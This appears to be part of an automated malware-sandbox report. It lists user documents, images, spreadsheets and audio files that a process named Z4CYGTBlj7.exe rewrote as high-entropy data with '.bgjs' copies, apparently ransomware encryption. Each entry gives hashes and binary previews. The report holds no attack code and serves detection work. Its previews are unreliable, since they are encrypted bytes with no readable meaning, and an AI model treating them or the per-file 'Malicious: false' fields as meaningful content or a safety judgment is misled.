#.O...=K...1^6Pl.m.......U.rQ....)...

C:\Users\user\Documents\GIGIYTFFYT.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819954785776055
Encrypted:	false
SSDEEP:	24:jPnBwo1NnHBOnF9amguMPBXkYr7cIwOzuqgo3deYHvuebyipUoNPAjCIDJsbD:bnBw6ynHJ27cIwOKMeYPuebyipUiPAjS
MD5:	F26080E49BE04BEF31453E42CD179A12
SHA1:	9EC354A2D03DE136E0653796FC87F62A54C585D0
SHA-256:	14C06E2CFD6BB4FDDE591877766B7CEC95D61DEEF07A92B801E908A79A9B286D
SHA-512:	460B376F20C4C1169CFEA59FB196163A0E26AE91A79C9D98991FCD8BB3C6BC827991888E9EF39E453FA0D449C1E96DACA3BF8BB74DBA1C65F1BB7E5FAFC6A123
Malicious:	false
Preview:	GIGIY.C...O.....U.GX.....I..%vQ....ey..y.KVY(......}....>.....M..6..TH...-..Ck..- ..A..E4p4...i.-.......(.7.......q.L..w..K.............g.e..e..a:..s7.....f......-....@..c%.....+7S..H.vHm...LR....... 2.........m....uo.jZXer-D.oh........o....}H..}.K...leb..u.=.......zXU..s...."4y..7#...}.....A&-.5)L.<....2.,..d...)g.x..(z...fT.z.j.j..."9!.....E....Z..\|8....g.\|.`.m.3c..u:5\|ge.8....>.Q!.....+.NwT....v.R... XAEL.G.Z..q1..DNEw.........%6...V...&.n.Y...fy.G.Z.k....a.2.J.?$.g ..P...h....O..r..X.+.o-.47..'.k...}I0..d:.\.C.s...r"3.mg....l#A.7b.hb=.......Z...T.)..@....".cvP;.K8&..02<5RA.f..Z..Yn.=Q:....Sy.k...3...1.....b.\|....`..^WP..c/....E..y..Q.h2.u}.i..%.......Of....$...),...^>.J...y.....$...b...7.t_..3.../....Y..I....7M.....\|.Fu..:N<...~D.,kHB.u.}EV......rh..n..:..\|.....g.z...$b......vz.i.!...+..&..Pr.b=...hq..r..r..4...3....D.......H......\|.cV.8.V..-.....n...R.o.M....h..p1.<)...u.F.Qch.f!k.:\|..5.3q..Xa..{..fh......n..Z.vC<....e..1..7i.e...

C:\Users\user\Documents\GIGIYTFFYT.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819954785776055
Encrypted:	false
SSDEEP:	24:jPnBwo1NnHBOnF9amguMPBXkYr7cIwOzuqgo3deYHvuebyipUoNPAjCIDJsbD:bnBw6ynHJ27cIwOKMeYPuebyipUiPAjS
MD5:	F26080E49BE04BEF31453E42CD179A12
SHA1:	9EC354A2D03DE136E0653796FC87F62A54C585D0
SHA-256:	14C06E2CFD6BB4FDDE591877766B7CEC95D61DEEF07A92B801E908A79A9B286D
SHA-512:	460B376F20C4C1169CFEA59FB196163A0E26AE91A79C9D98991FCD8BB3C6BC827991888E9EF39E453FA0D449C1E96DACA3BF8BB74DBA1C65F1BB7E5FAFC6A123
Malicious:	false
Preview:	GIGIY.C...O.....U.GX.....I..%vQ....ey..y.KVY(......}....>.....M..6..TH...-..Ck..- ..A..E4p4...i.-.......(.7.......q.L..w..K.............g.e..e..a:..s7.....f......-....@..c%.....+7S..H.vHm...LR....... 2.........m....uo.jZXer-D.oh........o....}H..}.K...leb..u.=.......zXU..s...."4y..7#...}.....A&-.5)L.<....2.,..d...)g.x..(z...fT.z.j.j..."9!.....E....Z..\|8....g.\|.`.m.3c..u:5\|ge.8....>.Q!.....+.NwT....v.R... XAEL.G.Z..q1..DNEw.........%6...V...&.n.Y...fy.G.Z.k....a.2.J.?$.g ..P...h....O..r..X.+.o-.47..'.k...}I0..d:.\.C.s...r"3.mg....l#A.7b.hb=.......Z...T.)..@....".cvP;.K8&..02<5RA.f..Z..Yn.=Q:....Sy.k...3...1.....b.\|....`..^WP..c/....E..y..Q.h2.u}.i..%.......Of....$...),...^>.J...y.....$...b...7.t_..3.../....Y..I....7M.....\|.Fu..:N<...~D.,kHB.u.}EV......rh..n..:..\|.....g.z...$b......vz.i.!...+..&..Pr.b=...hq..r..r..4...3....D.......H......\|.cV.8.V..-.....n...R.o.M....h..p1.<)...u.F.Qch.f!k.:\|..5.3q..Xa..{..fh......n..Z.vC<....e..1..7i.e...

C:\Users\user\Documents\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870954290290601
Encrypted:	false
SSDEEP:	24:w2THzmsPwvKfsZuCn5oajCmKpmJuImE/MGbyJOBaP0MfCJOjDsbD:3Dzm8e6C7CmKMmxGOIYPXCJOjDmD
MD5:	69CC0BA17F302B96D4B372FD6A87CBE0
SHA1:	D9C272E85D516CB3A0153930C2F4110987E7D10E
SHA-256:	D4F6388080CFC95C9A94B7C4693F637EC204F30992D02B153AC9C604CB79DF48
SHA-512:	250D6DCD08882663CA4F7166A5ABDC37480044015CB1B8BF9E61FC2964F7701E0313C232529F1F4CF792C7DCF1D5D06839E9760996B413F21789AB775C9F7E8E
Malicious:	false
Preview:	JDDHM.......q.@>....b..B..?r.p^.Ye.$&j(..f...Tg-j...3.\|N...j.D.w./.......>...t.I T.#..U%7......g..a...(.....-UB....D...F....7.KS.I...pp...t.&P`..Ru8...5..A...V9.....r....Oo.V......Q.VZ.s\|..Ge.=...Q..rX....h.W...'~.....C.N..Y3U.,.Z.$.z...nC!.`...Cj~.#..l ..K....I...=U....s.v...?O.aJ.....p..t\....#.1.,Zd.3.o.g:+..N%.....}....9.s...+S...(X...........G....2.....PX ..yY.......]..fj..fJ....z..h.Z.`..-./r&.%.\|3.\......8.....?.''.\|.i(..'...A.tw$k..w..6..k<.W.........A.X.>...c(....)p.....<O)..........@..Y.x4.O.-w...mh.....U....Z.u.c.,.%.m.}{}.h5...&.h..r^.P....Z.l.......B]....yV.a.8...%_..0..A../.......e....\|).K...!..{`.T...M.r;.3.w..=....sa.9..?.4..~..f6psvl.N?.^kn..[{>.......D)lJ..2b..U.@U6...2.v..@).fL'..p..Z8....C.....Q.....@.<(...o...3..~.iF..p.%.......S.i.E.~.?...R........s..t.;.....Mh..;.!..a......g......G.r....U....CI.....&...J.8.....(H...m..*o..~..:%M.....!.-T....Bv.4B..]<.B_]]...&;z0_7.C1+.......7.c._0.(sR...2..Rs

C:\Users\user\Documents\JDDHMPCDUJ.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870954290290601
Encrypted:	false
SSDEEP:	24:w2THzmsPwvKfsZuCn5oajCmKpmJuImE/MGbyJOBaP0MfCJOjDsbD:3Dzm8e6C7CmKMmxGOIYPXCJOjDmD
MD5:	69CC0BA17F302B96D4B372FD6A87CBE0
SHA1:	D9C272E85D516CB3A0153930C2F4110987E7D10E
SHA-256:	D4F6388080CFC95C9A94B7C4693F637EC204F30992D02B153AC9C604CB79DF48
SHA-512:	250D6DCD08882663CA4F7166A5ABDC37480044015CB1B8BF9E61FC2964F7701E0313C232529F1F4CF792C7DCF1D5D06839E9760996B413F21789AB775C9F7E8E
Malicious:	false
Preview:	JDDHM.......q.@>....b..B..?r.p^.Ye.$&j(..f...Tg-j...3.\|N...j.D.w./.......>...t.I T.#..U%7......g..a...(.....-UB....D...F....7.KS.I...pp...t.&P`..Ru8...5..A...V9.....r....Oo.V......Q.VZ.s\|..Ge.=...Q..rX....h.W...'~.....C.N..Y3U.,.Z.$.z...nC!.`...Cj~.#..l ..K....I...=U....s.v...?O.aJ.....p..t\....#.1.,Zd.3.o.g:+..N%.....}....9.s...+S...(X...........G....2.....PX ..yY.......]..fj..fJ....z..h.Z.`..-./r&.%.\|3.\......8.....?.''.\|.i(..'...A.tw$k..w..6..k<.W.........A.X.>...c(....)p.....<O)..........@..Y.x4.O.-w...mh.....U....Z.u.c.,.%.m.}{}.h5...&.h..r^.P....Z.l.......B]....yV.a.8...%_..0..A../.......e....\|).K...!..{`.T...M.r;.3.w..=....sa.9..?.4..~..f6psvl.N?.^kn..[{>.......D)lJ..2b..U.@U6...2.v..@).fL'..p..Z8....C.....Q.....@.<(...o...3..~.iF..p.%.......S.i.E.~.?...R........s..t.;.....Mh..;.!..a......g......G.r....U....CI.....&...J.8.....(H...m..*o..~..:%M.....!.-T....Bv.4B..]<.B_]]...&;z0_7.C1+.......7.c._0.(sR...2..Rs

C:\Users\user\Documents\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860728321719379
Encrypted:	false
SSDEEP:	24:yBrkTZs1zwRQJg9VLu88MPxRQ6rPoJx/XdXqXvOSYG0urhtAJDVAsbD:yBYdGcTPLDxRQ6E/XVqfO7CjSKmD
MD5:	032FB5AE3D9E82DF3A47AB4A2D3661D4
SHA1:	880EADCD64625B1FEAFCBBB469F433E0C6D541F5
SHA-256:	B2CFD04B4BF7A2A62F8B2913CB0D8DFBEDF7E38B3858D011936AED558EDB4BC8
SHA-512:	AA1478E2C81CD05CED68D354A99DEA7BA75D24B9C8FB4BD019AF1157E0FE1885A9653D1479EDC66E24EE045724A1C18931BF6EF74464B860C6FA6362794A4FB1
Malicious:	false
Preview:	PALRG.Nc.'...\|$.9S._..ds_9e..L.......V...J5..:.'.x.....m.Q.G..n&i]..0.....-....(.....s[s..t;..q.....[>.......`P#.Z..V..`+>...~.....Z.Cv.s.v..X9.T..bt...._?._..m>S9.I...cV..!..U..>.R....w....W/..RD.t...r...<...R......6J....q..4...4.A)..>7.&.fm..y...."...x.'..7...?..oa.....r..f.`...y.Km.E..3.#.C.o.x..Q.....y...S...B........I.]..E.q......[o&.Z.Z_..Du.K.2.....l.1ud..?..+.....+...t..u3...&K...Qh..Q<.q\|...2..;[....a....}...-..,?a..F.f...c..mf..KrK.6o. ?.mT.UwH...#...:o$...V_....X..Uz7.Vf....3......bO..o..:P.b.n.........`\|.t......3V 00..7......C.+Q(..b...L..&....."....6y..x.j....J(.f"9....c.ALt..R.h..>]....k&....U.......y...U2{...,UO;T..>f.......+..8..J.q.7..j..f.!.aS.}.z~..'..ud ...~.u...............r).\|r!..xY..H..>.&.(...$........p.p.m.:,....t.......,.C...@..{9..:.hD.}..n...............r<y...8)...&..\..z.J..gY6//....-.Jy......;.F.#.T.3.F.z;...r.4..^i.uE`b...)p.!..J...."3V.....z.6....nS.t.....]....y.........%...M.B..lk.J.s.sj"..y:F...2-

C:\Users\user\Documents\PALRGUCVEH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860728321719379
Encrypted:	false
SSDEEP:	24:yBrkTZs1zwRQJg9VLu88MPxRQ6rPoJx/XdXqXvOSYG0urhtAJDVAsbD:yBYdGcTPLDxRQ6E/XVqfO7CjSKmD
MD5:	032FB5AE3D9E82DF3A47AB4A2D3661D4
SHA1:	880EADCD64625B1FEAFCBBB469F433E0C6D541F5
SHA-256:	B2CFD04B4BF7A2A62F8B2913CB0D8DFBEDF7E38B3858D011936AED558EDB4BC8
SHA-512:	AA1478E2C81CD05CED68D354A99DEA7BA75D24B9C8FB4BD019AF1157E0FE1885A9653D1479EDC66E24EE045724A1C18931BF6EF74464B860C6FA6362794A4FB1
Malicious:	false
Preview:	PALRG.Nc.'...\|$.9S._..ds_9e..L.......V...J5..:.'.x.....m.Q.G..n&i]..0.....-....(.....s[s..t;..q.....[>.......`P#.Z..V..`+>...~.....Z.Cv.s.v..X9.T..bt...._?._..m>S9.I...cV..!..U..>.R....w....W/..RD.t...r...<...R......6J....q..4...4.A)..>7.&.fm..y...."...x.'..7...?..oa.....r..f.`...y.Km.E..3.#.C.o.x..Q.....y...S...B........I.]..E.q......[o&.Z.Z_..Du.K.2.....l.1ud..?..+.....+...t..u3...&K...Qh..Q<.q\|...2..;[....a....}...-..,?a..F.f...c..mf..KrK.6o. ?.mT.UwH...#...:o$...V_....X..Uz7.Vf....3......bO..o..:P.b.n.........`\|.t......3V 00..7......C.+Q(..b...L..&....."....6y..x.j....J(.f"9....c.ALt..R.h..>]....k&....U.......y...U2{...,UO;T..>f.......+..8..J.q.7..j..f.!.aS.}.z~..'..ud ...~.u...............r).\|r!..xY..H..>.&.(...$........p.p.m.:,....t.......,.C...@..{9..:.hD.}..n...............r<y...8)...&..\..z.J..gY6//....-.Jy......;.F.#.T.3.F.z;...r.4..^i.uE`b...)p.!..J...."3V.....z.6....nS.t.....]....y.........%...M.B..lk.J.s.sj"..y:F...2-

C:\Users\user\Documents\SQSJKEBWDT\GRXZDKKVDB.png

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8519405563084055
Encrypted:	false
SSDEEP:	24:U986H09+fbrJMxrlpN6Eq2gB5TzVm76MuL8rgAP8ItoN6c4MsbD:UB09oVSJ2E8bzM7/qK8IaNHRmD
MD5:	3960C19768CAFC280578CCC581C4699A
SHA1:	4E4C27E71D3D189DDA8DA4893FE2BC676C0B90D1
SHA-256:	4106FEF2D4464A2ADEEF6B7EE6F0E75BF6E47B03C9AB91F9F0139BBFE0BC9FC9
SHA-512:	085A7DAE88666F91CBCA2D8D51DB04772129E8474FE795FDED2B93313E9D434B3FBB297F296148F6F2688E6E060569C93CD4141A8D24B104BE9687B5D3DAB6BB
Malicious:	false
Preview:	GRXZD..C.....R\.....F.~bom.A.......<...(....!.F.P.&..YX...M...._q...W'._.<d....e..5...Y..}.,.\.J..@..C_..CN.s...n...\.+l..q....f..>.....OL..:. .....bRX.<.x.U.7....X.Ze.m.)...3q.>..o...2.st........M.8....6;..z.~;..^.....F2.]..?......ET.B......\|..{e.~....S.x.....\|..........+....wxK......O~D..-!.4._..7@.zx..j...>....3.....Psf.....D.h.C..D.64...~.....T.>.....b......+C..i.......v#.w..g....!..........R.2n:${q.I;......5...`.d..G.P..h...W^U...(..'....F..&1.+..m...3c...F7.%.i@....#lL.nvt.Su."..=)7p...... .K......R..V..&#....h..aJ._....X4VK.....U$..,.....!...`...ylT...V\"-.`@..]....qf.y.\T..NI..z-.VR/X.7...&.=..h.z..V...m...I.Ou........Xt......r.t.tZZz.wuu....[.d~.2...C..=.dgl..-j0...h.$.w.l.&..J".7T.J^$.#.K....5.d.EBY..)....R,.......9X.#....P..a.....cM]/..8..Aa....[e?Bo.V..:#...3q.9..:......=...K......U....`.W,.........M................J.X.....OVl...../....~70lX.B._....V......R...........l........h4.W.\|..._.Yp].->.K....DS.R..H....

C:\Users\user\Documents\SQSJKEBWDT\GRXZDKKVDB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8519405563084055
Encrypted:	false
SSDEEP:	24:U986H09+fbrJMxrlpN6Eq2gB5TzVm76MuL8rgAP8ItoN6c4MsbD:UB09oVSJ2E8bzM7/qK8IaNHRmD
MD5:	3960C19768CAFC280578CCC581C4699A
SHA1:	4E4C27E71D3D189DDA8DA4893FE2BC676C0B90D1
SHA-256:	4106FEF2D4464A2ADEEF6B7EE6F0E75BF6E47B03C9AB91F9F0139BBFE0BC9FC9
SHA-512:	085A7DAE88666F91CBCA2D8D51DB04772129E8474FE795FDED2B93313E9D434B3FBB297F296148F6F2688E6E060569C93CD4141A8D24B104BE9687B5D3DAB6BB
Malicious:	false
Preview:	GRXZD..C.....R\.....F.~bom.A.......<...(....!.F.P.&..YX...M...._q...W'._.<d....e..5...Y..}.,.\.J..@..C_..CN.s...n...\.+l..q....f..>.....OL..:. .....bRX.<.x.U.7....X.Ze.m.)...3q.>..o...2.st........M.8....6;..z.~;..^.....F2.]..?......ET.B......\|..{e.~....S.x.....\|..........+....wxK......O~D..-!.4._..7@.zx..j...>....3.....Psf.....D.h.C..D.64...~.....T.>.....b......+C..i.......v#.w..g....!..........R.2n:${q.I;......5...`.d..G.P..h...W^U...(..'....F..&1.+..m...3c...F7.%.i@....#lL.nvt.Su."..=)7p...... .K......R..V..&#....h..aJ._....X4VK.....U$..,.....!...`...ylT...V\"-.`@..]....qf.y.\T..NI..z-.VR/X.7...&.=..h.z..V...m...I.Ou........Xt......r.t.tZZz.wuu....[.d~.2...C..=.dgl..-j0...h.$.w.l.&..J".7T.J^$.#.K....5.d.EBY..)....R,.......9X.#....P..a.....cM]/..8..Aa....[e?Bo.V..:#...3q.9..:......=...K......U....`.W,.........M................J.X.....OVl...../....~70lX.B._....V......R...........l........h4.W.\|..._.Yp].->.K....DS.R..H....

C:\Users\user\Documents\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850989137994396
Encrypted:	false
SSDEEP:	24:kIApNGXEMufCaQ4NGJSjYjeFVqsXn9ocZqNHFef8FSyscbOYwZsbD:kzoX9u7xgwubsto24AfOrWZmD
MD5:	0942C2934ED985EBD410CDB84EBB42A3
SHA1:	5792E67EEB4663206796F655567CE48E37FDA548
SHA-256:	114BACD2E077F1CF540F51813D6273594E3891D19476AAEA2BA081E9ED5FE653
SHA-512:	69F147EC508590F78F1A8190A59D587988B2EE3A4E1E515987D05673D0B8007A60EC80E0F1E529039581EF9E77A11A916EE4C5C89D378EBE2077029D455B04DE
Malicious:	false
Preview:	ZGGKNm.O....%.bc.L{s..........rw..J......"H..[uu...2%.Q.w.E....?eS..\|'.PX\|g....R..F.iw..1..-.i..D.E..l..i=...,"W...<P..,(.....rN..T....4,......?......rw..\|....$....>..r..>...6L..D2..R.US.%.....G..N..YS.gT...<.D..{..Z..N.c9..o....{L.q...P.ZB..~<.}P.....,.@....#.G..H2.@)..c ..<..d...Xu.....Fe{Ue....2e.v.b...qd.F...,.....k..$....0..P)[.s....!......l.o.Q).X..a...Q1..w.]R.b Gd+.k.d..k%.x..dV.1.-..[.t@.......k..x`...V....3.%.F.=Z.......+..Q......F..........m.cwh3..T[...g..z.Z,.....-m.......M.l.....5._s..............^.5e`..]...v.I@.W.3j.z.....}.....^+{.J.W......}%V.$J..2..^..4.HL......l..ua..Lm.U:..........b.<:XXgO......5$.i..a....TA@..e.~...z..Y.aC/&.p.6.J./...jSL....g.....kAO>.4k.!.. ....Ex.....X..b../....6.m/.2.;...f.1..e.\|`..F..t...4.A=.t..D..o....c..[.5+O......~.../y...w)0.GMh.....5e.}..%.G2.......=.....tXU..5...l..\....wYy.....0.u..V...b...4..:i .Q..Hk`..........6_N..x~.9vK[oV.....;0.N...91F.I...18$....jI.n/A...R....Q

C:\Users\user\Documents\ZGGKNSUKOP.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850989137994396
Encrypted:	false
SSDEEP:	24:kIApNGXEMufCaQ4NGJSjYjeFVqsXn9ocZqNHFef8FSyscbOYwZsbD:kzoX9u7xgwubsto24AfOrWZmD
MD5:	0942C2934ED985EBD410CDB84EBB42A3
SHA1:	5792E67EEB4663206796F655567CE48E37FDA548
SHA-256:	114BACD2E077F1CF540F51813D6273594E3891D19476AAEA2BA081E9ED5FE653
SHA-512:	69F147EC508590F78F1A8190A59D587988B2EE3A4E1E515987D05673D0B8007A60EC80E0F1E529039581EF9E77A11A916EE4C5C89D378EBE2077029D455B04DE
Malicious:	false
Preview:	ZGGKNm.O....%.bc.L{s..........rw..J......"H..[uu...2%.Q.w.E....?eS..\|'.PX\|g....R..F.iw..1..-.i..D.E..l..i=...,"W...<P..,(.....rN..T....4,......?......rw..\|....$....>..r..>...6L..D2..R.US.%.....G..N..YS.gT...<.D..{..Z..N.c9..o....{L.q...P.ZB..~<.}P.....,.@....#.G..H2.@)..c ..<..d...Xu.....Fe{Ue....2e.v.b...qd.F...,.....k..$....0..P)[.s....!......l.o.Q).X..a...Q1..w.]R.b Gd+.k.d..k%.x..dV.1.-..[.t@.......k..x`...V....3.%.F.=Z.......+..Q......F..........m.cwh3..T[...g..z.Z,.....-m.......M.l.....5._s..............^.5e`..]...v.I@.W.3j.z.....}.....^+{.J.W......}%V.$J..2..^..4.HL......l..ua..Lm.U:..........b.<:XXgO......5$.i..a....TA@..e.~...z..Y.aC/&.p.6.J./...jSL....g.....kAO>.4k.!.. ....Ex.....X..b../....6.m/.2.;...f.1..e.\|`..F..t...4.A=.t..D..o....c..[.5+O......~.../y...w)0.GMh.....5e.}..%.G2.......=.....tXU..5...l..\....wYy.....0.u..V...b...4..:i .Q..Hk`..........6_N..x~.9vK[oV.....;0.N...91F.I...18$....jI.n/A...R....Q

C:\Users\user\Documents\ZIPXYXWIOY.mp3

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846666749027034
Encrypted:	false
SSDEEP:	24:d+029Wm6tL6CQpEoSEZ8RE5cYfWU9CY35FXATq6czqQ8zBsOpUjUjfsbD:dNiWmOm5pZZ8qPe2CY3HATqLzq1BsOpa
MD5:	2CA037A74D6CFFE9DC4EFDADC47DF4DD
SHA1:	359985ADCFB05B34CA461E9D283E0E7FD1B519AA
SHA-256:	F9AB92A1D8F41FBA43FC046D2B9ABBFB89080C94B7200365964DD7C59333FF65
SHA-512:	13E185965D1535D04768CF1087C75602E26E7116E914A1F934AC2FFC372EEFD55C908FA03FEEEDA456822A4EC397CA9416909FB775B8E9911956FAF9EDB54ABF
Malicious:	false
Preview:	ZIPXY8e..l..+.&..9..?dY'\-..n.Pn...y.p?p3.T....6B....a..5.k.{{h:...}.1.c)z6.e......DV....n.W.....h............E<B.1R.....M.......i.U..D....~..d/.Z...]..b.."..j..KM.9..w4w...b.,..5ba.,)M.+..Q@b.@v(...\.......X..f......I.t-d. .S..$...L.e.&.<...F.s....E;Yo...\...]...-}...p6..:...',$`..X.3.....-... ...{ST.r..._.v......a?..v....c.B..m.Av.%....l`...@q.....M......Vt.<~s......~.....;....n.oa......f..{z.1..G.mW.F.9o3 ...r..J....].....]..j..E3nB.3r.....l......C4cy;$....`..(...c. .....'.OW..>/<.M>.+Ap"......<v..n.y..n<..0~v...M..._...z...p.M;.e.>.S...Q..9<..4`........a&.H.....q{6l.}y9_`...g.z/.......yJ.Q...x.J...}....E&.g.....ng.MM .......\>.q.UF..g.2...Aza.E..w.=r..~..]"NQ.........sx...m...>.RH.._\|N.Kb..%....l..zb.!9.."....W..)..H/...L....}B..=.......pc`N...M9.>.V...wn....LyW..(....?8bI.....\]...i.....:[C..L..?.{.6j+..-.F.pJ-}=.\|..O......-b7.9.........0....j.Cg.\v.*.i.8.....@JF.X..1..e...I..:.;..xJj....uRZ\sA...O5..I....

C:\Users\user\Documents\ZIPXYXWIOY.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846666749027034
Encrypted:	false
SSDEEP:	24:d+029Wm6tL6CQpEoSEZ8RE5cYfWU9CY35FXATq6czqQ8zBsOpUjUjfsbD:dNiWmOm5pZZ8qPe2CY3HATqLzq1BsOpa
MD5:	2CA037A74D6CFFE9DC4EFDADC47DF4DD
SHA1:	359985ADCFB05B34CA461E9D283E0E7FD1B519AA
SHA-256:	F9AB92A1D8F41FBA43FC046D2B9ABBFB89080C94B7200365964DD7C59333FF65
SHA-512:	13E185965D1535D04768CF1087C75602E26E7116E914A1F934AC2FFC372EEFD55C908FA03FEEEDA456822A4EC397CA9416909FB775B8E9911956FAF9EDB54ABF
Malicious:	false
Preview:	ZIPXY8e..l..+.&..9..?dY'\-..n.Pn...y.p?p3.T....6B....a..5.k.{{h:...}.1.c)z6.e......DV....n.W.....h............E<B.1R.....M.......i.U..D....~..d/.Z...]..b.."..j..KM.9..w4w...b.,..5ba.,)M.+..Q@b.@v(...\.......X..f......I.t-d. .S..$...L.e.&.<...F.s....E;Yo...\...]...-}...p6..:...',$`..X.3.....-... ...{ST.r..._.v......a?..v....c.B..m.Av.%....l`...@q.....M......Vt.<~s......~.....;....n.oa......f..{z.1..G.mW.F.9o3 ...r..J....].....]..j..E3nB.3r.....l......C4cy;$....`..(...c. .....'.OW..>/<.M>.+Ap"......<v..n.y..n<..0~v...M..._...z...p.M;.e.>.S...Q..9<..4`........a&.H.....q{6l.}y9_`...g.z/.......yJ.Q...x.J...}....E&.g.....ng.MM .......\>.q.UF..g.2...Aza.E..w.=r..~..]"NQ.........sx...m...>.RH.._\|N.Kb..%....l..zb.!9.."....W..)..H/...L....}B..=.......pc`N...M9.>.V...wn....LyW..(....?8bI.....\]...i.....:[C..L..?.{.6j+..-.F.pJ-}=.\|..O......-b7.9.........0....j.Cg.\v.*.i.8.....@JF.X..1..e...I..:.;..xJj....uRZ\sA...O5..I....

C:\Users\user\Downloads\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855377769693566
Encrypted:	false
SSDEEP:	24:Vl8Aaf8uSzRiPgca/nkN7rI/WzqI9XrpAVNQgn1I0FqCHF2Pj6sVIsbD:Vly05wPgcxlc/KV7AVNQD0pHALLymD
MD5:	BBB70E1EE87CB4DBBA47C1B24777E668
SHA1:	46F0003FC10D8C8F9E297178CE6F060EB3451A6E
SHA-256:	A497544C90460F2FD2230BCF56E34E096E2C533409DB5C6C1B68272770590415
SHA-512:	EEE8AB1ACC6BC711C0F05DBA4B9652E7AB6D85243C997CEC0430296F05085224D8CE6117DE2FF34000DB5AB8E9E811E01AB5FCAFD8A39CDBF8872F82DDAE501A
Malicious:	false
Preview:	EEGWX+...+'PP6.v..}....CV..`.T@@...f.c!S\...:N.iBl.<...z.1.....,Mu..&{e.G.....Ld._.F..q.P..p.MaJ..`r.}5]-.......L........dNH.%.B.._..4\8...,.S}..-n.P.F.1.mc!j/.$z.q....P.u..y.m.0{3.'i@.u..}.P?i.:.%.JX...\|c9.sE..6O..4^..[....}.....GM.Y../.../$....N.C..a.PNI,&..>....GR...6tBty(....\.@.....'.92MS...Qn..i..jI...3.[.i.. ..~.&.F..u..7...5..P.....EF..s.m.^!7....)?.I,....Y.\......!<m...)4A.>...}:$.?f.._..G6..Zf..n0A..>.:Z./..'....@..c.../....c..=Em??..y..>{...^w.N....M.1....j...4T.d..dV.p..:..D..`.....e.R.....p..T~..o.5..a...H.<.H.........2Vq)i...S..g..x.F-VG9\|)z"......&%.<y..f..P..Td.....R..km...=...s.4J....svl.N.[....S(>.y..?..N...b3M.."..........S..Bz..}ze.....4......#.,.r./9.a..J..-...2..U&..J.`..,...l.A.sY[.4..E2.a........-y.GH%S...:w.w.9..A`....b....<....c.....3+E.4xE..'k..~...X=.l#3../.b(wV.../^...&.?.{.<U.Y...9...H.~..:)....~.m..'.....M.s.....7%..P."7.....3..../..4.....-...I.}L..a.;..B^....=.jmq.X...........@.rqV\|.)y..^.{_.......*. ....pG

C:\Users\user\Downloads\EEGWXUHVUG.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855377769693566
Encrypted:	false
SSDEEP:	24:Vl8Aaf8uSzRiPgca/nkN7rI/WzqI9XrpAVNQgn1I0FqCHF2Pj6sVIsbD:Vly05wPgcxlc/KV7AVNQD0pHALLymD
MD5:	BBB70E1EE87CB4DBBA47C1B24777E668
SHA1:	46F0003FC10D8C8F9E297178CE6F060EB3451A6E
SHA-256:	A497544C90460F2FD2230BCF56E34E096E2C533409DB5C6C1B68272770590415
SHA-512:	EEE8AB1ACC6BC711C0F05DBA4B9652E7AB6D85243C997CEC0430296F05085224D8CE6117DE2FF34000DB5AB8E9E811E01AB5FCAFD8A39CDBF8872F82DDAE501A
Malicious:	false
